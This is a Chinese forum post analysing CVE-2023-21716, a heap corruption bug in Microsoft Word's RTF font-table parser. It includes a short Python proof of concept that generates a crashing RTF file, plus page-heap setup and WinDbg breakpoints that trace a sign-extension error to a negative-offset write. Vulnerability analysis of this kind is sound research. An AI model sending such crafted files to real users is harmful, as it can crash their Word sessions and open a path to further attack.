-
-
[分享] CVE-2023-21716 word漏洞分析
-
2023-4-25 10:56
9641
-
[分享] CVE-2023-21716 word漏洞分析
菜鸡学习分析文章
2月微软补丁日公开的漏洞,后poc与技术细节公开,Microsoft Word 的 RTF 解析器在处理 rtf 文件字体表(\fonttbl)中包含的过多字体(\fN)时产生的堆损坏漏洞,poc可造成word进程崩溃,预览模式下也受影响
本文使用Office 2016 32位进行分析
poc
1 2 | import sys
open ( "t3zt.rtf" , "wb" ).write(( "{\\rtf1{\n{\\fonttbl" + " ".join([ (" {\\f % dA;}\n " % i) for i in range(0,32761) ]) + " }\n{\\rtlch no crash??}\n}}\n").encode( 'utf-8' ))
|
打开poc生成的rtf文件,触发崩溃
栈回溯如下
对开启页堆,需安装wdk
1 | gflags.exe / p / enable winword.exe / full
|
或在\Windows Kits\10\Debuggers\x86\gflags.exe下
使用windbg进行分析
程序崩溃在6d3900d5,计算偏移
6d3900d5 - 6d0a0000 = 2F 00D5
在ida中定位到2F 00D5
wwlib在处理/fN时存在整数溢出
由于此处指令使用了movsx,当[esi+2]的值达到0x8000时,会进行有符号扩展,edx的高位会被扩展成FFFF,poc中的32760(0x7FF8)是触发漏洞的最小值,range(0, 32761)生成了32761组\f ,当第32761次处理\f时,edx的值为0x8002 ,但因其最高位为 1进行有符号扩展,变为0xffff8002。导致在后面的指令mov [esi+edx*2+4], cx处写入时使用了负的偏移值,造成程序崩溃。
在2F00A8,2F00CB,2F00CF ,2F00D5 处下断点观察
1 2 3 4 5 6 7 | bp wwlib + 2F00A8 ".printf \" Cum: %p Font id: %p Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", eax,ecx,(esi+eax*2+4),esi,eax; gc"
bp wwlib + 2F00CB ".printf \" Base: %p \\n \", poi(esi+2); gc"
bp wwlib + 2F00CF ".printf \" Edx: %p from 0x%x + 0x%x*2\\n \", (ecx + edx*2),ecx,edx; gc"
bp wwlib + 2F00D5 ".printf \" Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", (esi+edx*2+4),esi,edx; gc"
|
参考链接:
https://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md
https://www.anquanke.com/post/id/287370
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界